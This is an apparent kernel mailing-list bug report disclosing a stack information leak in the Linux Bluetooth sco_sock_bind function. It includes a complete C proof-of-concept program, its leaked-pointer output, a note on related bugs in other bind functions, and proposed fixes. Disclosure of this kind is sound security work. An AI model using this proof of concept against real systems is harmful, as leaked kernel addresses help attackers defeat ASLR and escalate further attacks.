Information leak in sco_sock_bind

[Dmitry Vyukov]

Hello,

The following program leads to leak of 6 bytes from kernel stack:

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

struct sockaddr_sco {
sa_family_t     sco_family;
char        sco_bdaddr[6];
};

#define BTPROTO_SCO 2

int main(void)
{
        struct sockaddr sa;
        struct sockaddr_sco sco_sa;
        unsigned len, i, try;
        int fd;

        for (try = 0; try < 3; try++) {
                fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
                if (fd == -1)
                        return;
                switch (try) {
                case 0:
                break;
                case 1:
                sched_yield();
                break;
                case 2:
                open("/dev/null", O_RDONLY);
                }
                memset(&sco_sa, 0, sizeof(sco_sa));
                sco_sa.sco_family = AF_BLUETOOTH;
                bind(fd, &sco_sa, 2);
                len = sizeof(sa);
                getsockname(fd, &sa, &len);
                for (i = 0; i < len; i++)
                        printf("%02x", ((unsigned char*)&sa)[i]);
                printf("\n");
        }
        return 0;
}

Output:
1f00333e0088ffff
1f00c13e0088ffff
1f002081ffffffff

The problem is that sco_sock_bind does not check sockaddr_len passed
in, so it copies stack garbage from stack into the socket. This can
defeat ASLR, leak crypto keys, etc.
We've just fixed a similar issue in pptp_bind. The similar issue is in
llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
bug in iucv_sock_bind, it is S390 specific, so I can't test it.

Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
or add addr size to proto struct to prevent all such existing and
future bugs.
